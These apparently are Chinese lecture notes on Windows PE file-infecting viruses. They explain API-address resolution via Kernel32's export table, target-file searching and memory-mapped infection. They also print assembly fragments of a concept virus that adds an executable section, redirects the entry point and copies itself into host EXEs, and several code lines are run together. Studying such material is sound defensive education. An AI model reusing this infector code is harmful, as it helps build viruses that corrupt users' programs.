五、Windows病毒之PE型病毒
5.1 PE病毒原理
获取API函数地址
原因:
Win32程序一般运行在Ring 3,Win32下的系统功能调用,不是通过中断实现,而是通过调用动态链接库中的API函数实现。
普通PE程序通过导入节获取API函数地址,而PE病毒只有代码节,对API函数的调用需要首先找到其在相应DLL中的地址。
怎么获取API函数地址
1、获取API函数地址,首先需要获取Kernel32的基地址
2、获取Kernel32及地址
- 利用程序的返回地址,在其附近搜索Kernel32模块基地址。
- 系统打开一个文件的时候,会调用Keernel32.DLL中的CreateProcess函数,该函数在完成装载应用程序后,会将其在Kernel32.DLL中的返回地址压入堆栈。
- 根据堆栈中的地址可以找到Kernel32.DLL模块的地址空间,然后可以以此为基础回退到Kernel32.DLL的文件头,从而确定其导出函数节。
-
对相应操作系统分别给出固定的Kernel32模块的基地址。
对于同一版本的Windows操作系统,Kernel32模块的地址是固定,甚至一些API函数的大概位置都是固定的。
3、在得到Kernel32.DLL的模块地址后,就可以在该模块中的导出表中搜索所需要的API地址
4、另一重办法是在Kernel32.DLL中搜索出GetProcAddress和LoadLibray两个API函数的地址,然后利用这两个API函数得到所需要的API函数地址。
已知API函数序列号搜索API函数地址
- 定位PE文件头
- 从PE文件头中的可选文件头中取出数据目录表的第一个数据目录,得出导出函数的地址。
- 从导出表的Base字段取得始序号。
- 将需要查找的到处序号减去起始序号,得到函数入口地址表中的索引号。
- 验证索引号的合法性。
- 用该索引值在AddrOfFunctions字段指向的地址表取出相应的项目。
已知函数名查找入口地址
- 定位PE文件头
- 从PE文件头中的可选文件头中取出数据目录表的第一个数据目录,得出导出函数的地址。
- 从AddressOfNames字段指向的函数名地址表的第一项开始逐一查找与其对应项 。
- 通过在AddressOfNames中匹配项的索引值在AddressOfNameOrdinals指向的数组中查找索引 值。
- 以该索引值在AddressOfFunctions中获取对应的 RVA。
搜索感染目标文件
-
几个关键的API函数
FindFirstFile
根据文件名查找文件
FindNextFile
FindClose
-
API使用的数据结构
WIN32_FIND_DATA
-
搜索时采用递归算法
5.2 内存映射文件
原理
- 内存映射文件提供了一组独立的函数,使应用程序能够通过内存指针像访问内存一样对磁盘上的文件进行访问。
- 内存映射文件函数将磁盘上的文件的全部或者部分映射到进程虚拟地址空间的某个位置,以后对文件内容的访问就如同在该地址区域内直接对内存访问一样。
使用内存映射文件读写文件
- 调用CreateFile函数打开想要映射的HOST程序,返回文件句柄hFile。
- 调用CreateFileMapping函数生成一个建立基于HOST文件举办hFile的内存映射对象,返回内存映射对象句柄hMap。
- 调用MapViewOfFile函数将整个文件映射到内存中,得到指向内存的第一个字节的指针pMem。
- 用指针pMem对整个HOST文件进行操作,实施病毒感染。
- 调用UnMapViewFile函数解除文件映射,传入参数是pMem
- 调用CloseHandle来关闭内存映射文件,传入参数是hMap
- 调用CloseHandle来关闭HOST文件,传入参数是hFile。
5.3 病毒感染PE文件的基本方法
感染文件的基本步骤
-
判断目标文件开始的两个字节是否为“MZ"
-
判断PE文件标记“PE”
-
判断感染标记,如果已被感染过则跳出继续执行HOST程序,否则实施感染
-
获得Directory的个数,每个目录信息占8个字节
-
得到节表起始位置
-
得到目前最后节表的末尾偏移
-
写入新节表
- 写入节名
- 写入节的实际字节数
- 写入新节在内存中的开始偏移地址,同时可以计算出病毒入口位置
- 本节在内存中的开始偏移地址=上节在内存中的开始偏移地址+(上节大小/节对齐+1)*节对齐
- 写入本节在文件中对齐后的大小
- 写入本节在文件中的开始位置
- 修改映像文件头中的节表数目
- 修改AddressOfEntryPoint,同时保存旧的AddressOfEntryPoint,以便返回HOST继续执行
- 更新SizeOflmage(内存中整个映像尺寸=原SizeOflmage +病毒节经过内存节对齐后的大小)
- 写入感染标记
- 写病毒代码到新添加的节中
- 将当前文件位置设为文件尾
5.4 PE概念病毒感染分析
病毒定位
vstart:
push ebp
push esp
call nstart
nstart:
pop ebp
sub ebp,offset nstart
异常处理
assume fs:nothing ;设置SEH,发生异常可以直接返回原入口.
lea ebx, SEH[ebp]
push ebx
push fs:[0]
mov fs:[0],esp
mov OldEsp[ebp],esp
备份程序入口地址
cmp old_base[ebp],0
jnz gonext
mov old_base[ebp],400000h
gonext:
cmp old_in[ebp],0
jnz change
mov old_in[ebp],1000h
change:
mov eax, old_base[ebp]
mov des_base[ebp], eax
mov eax, old_in[ebp]
mov des_in[ebp], eax
获得KERNEL32地址
mov eax,[esp+10h] ;//取Kernel32返回地址
and ax,0f000h
mov esi,eax ;//得到Kernel.PELoader代码位置(不精确)
LoopFindKernel32:
sub esi,1000h
cmp word ptr[esi],'ZM' ;//搜索EXE文件头
jnz short LoopFindKernel32
获得KERNEL32地址
GetPeHeader:
movzx edi,word ptr[esi+3ch]
add edi,esi
cmp word ptr[edi],'EP' ;//确认是否PE文件头
jnz short LoopFindKernel32 ;esi->kernel32,edi->kernel32 PE HEADER
;///////////////////////////////////////////查找GetProcAddress函数地址
mov vKernel32[ebp],esi
获得GetProcAddress函数地址
GetPeExportTable:
mov ebx,[edi+78h];4+14h+60h
add ebx,vKernel32[ebp] ;//得到输出函数表
mov vExportKernel[ebp],ebx
push 14
call aGetProcAddr
db "GetProcAddress",0
aGetProcAddr:
lea eax,GetApiAddress[ebp]
call eax
or eax,eax
jz ExitTimes
mov vGetProcAddress[ebp],eax ;得到GetProcAddre
获取Kernel32其他函数地址
lea esi,bGetModuleHandle[ebp] ;
lea edi,vGetModuleHandle[ebp]
cld
ComeOn:
lodsd
add eax,ebp
push eax
push vKernel32[ebp]
call dword ptr vGetProcAddress[ebp]
or eax,eax
jz ExitTimes
stosd
cmp dword ptr[esi],0
jnz ComeOn
利用API查找感染目标
- 获取当前程序所在目录
- 保存当前目录
- 获取Windows所在的目录,并将其设为当前目录
- 获取System所在目录,并将其设为当前目录
- 查找当前目录下的第一个EXE文件
病毒传染
- 打开文件
- 建立内存映射文件
- 判断感染条件
mov ebx, eax
assume ebx :ptr IMAGE_DOS_HEADER
mov eax,[ebx].e_ lfanew
test eax,0fffff000h
jnz EndDir ;Header+stub不可能太大,超过4096byte
mov pe_header_off[ebp],eax
add ebx,eax ;此时ebx指向PE文件头
assume ebx:ptr IMAGE_NT HEADERS
cmp [ebx].Signature,IMAGE_NT_SIGNATURE;
jnz UnMap
cmp word ptr[ebx+1ah],'FB’;是否已经感染
- 准备添加新节
movzx eax,[ebx].FileHeader.NumberOfSections ;文件的节数mov ecx,28h/l每个节表的长度mul ecxadd eax,pe_header_off[ebp]add eax,18h//PE Header长度movzx esi,[ebx].FileHeader.SizeOfOptionalHeaderadd eax,esimov NewSection off[ebp], eax;保存新节起始RVAadd eax,28h;比较增加新节后是否超出SizeOfHeaders(节.TEXT在文件中的RVA)cmp eax,[ebx].OptionalHeader.SizeOfHeadersja Infest ;即使没有添加空间还是可以免疫
- 修改映射文件大小
mov ecx,FileAlign[ebp]xor edx,edxdiv ecxtest edx,edxjz NoChangeinc eaxNoChange:mul ecxmov fsize[ebp],eax;文件尺寸节文件对齐add eax,1000h。。。
- 保留原入口
assume ebx:ptr IMAGE_NT_HEADERSNoinfect: mov eax,[ebx].OptionalHeader.AddressOfEntryPoint mov old_in[ebp],eax mov eax,[ebx].OptionalHeader.ImageBase mov old_base[ebp],eax
- 在节表中添加新节
mov edi,NewSection_off[ebp];新节的RVAadd edi,pMapping[ebp] ;edi->新节起始地址inc [ebx].FileHeader.NumberOfSections ;节数目+1mov esi,edi ;edi指向新节sub esi,28h ;esi指向上一个节assume edi:ptr IMAGE_SECTION_HEADERassume esi:ptr IMAGE_SECTION_HEADERmov[edi].Name1, ‘B.';为新节命名mov [edi+2h].Name1, 'hsiF';为新节命名
push[ebx].OptionalHeader.SizeOflmage ;原文件映像装入内存后的总尺寸,对齐SectionAlignment.pop [edi].VirtualAddress ;新节在内存中的地址mov eax,offset vend-offset vstartmov[edi].Misc.VirtualSize,eax ;新节的大小(未对齐)mov ecx,[ebx].OptionalHeader.FileAlignmentxor edx,edxdiv ecxtest edx,edxjz NoChange1inc eax
NoChange1: mul ecx mov [edi].SizeOfRawData,eax;新节对齐FileAligment后的大小 mov eax,fsize[ebp] mov [edi].PointerToRawData,eax;本节在文件中的位置 mov [edi].Characteristics,0E0000020h ;可读可写可执行
- 更新SizeOflmage,AddressOfEntryPoint
mov eax,[edi].Misc.VirtualSize;新节的大小(未对齐)mov ecx,[ebx].OptionalHeader.SectionAlignment ;内存节对齐xor edx,edxdiv ecxtest edx,edxjz NoChange2inc eax
NoChange2: mul ecx add eax,[ebx].OptionalHeader.SizeOflmage;对齐后大小+原文件映像装入内存后的总尺寸,对齐SectionAlignment. mov [ebx].OptionalHeader.SizeOflmage,eax ;更新后的文件映像装入内存后的总尺寸,对齐SectionAlignment. mov eax,[edi].VirtualAddress;新节在内存中的地址写入入口点 mov [ebx].OptionalHeader.AddressOfEntryPoint,eax
- 将病毒代码写入映射的内存中(在原文件之后)
mov edi,pMapping[ebp]
add edi,fsize[ebp]
lea esi,vstart[ebp]
mov ecx,offset vend-offset vstart
cld
rep movsb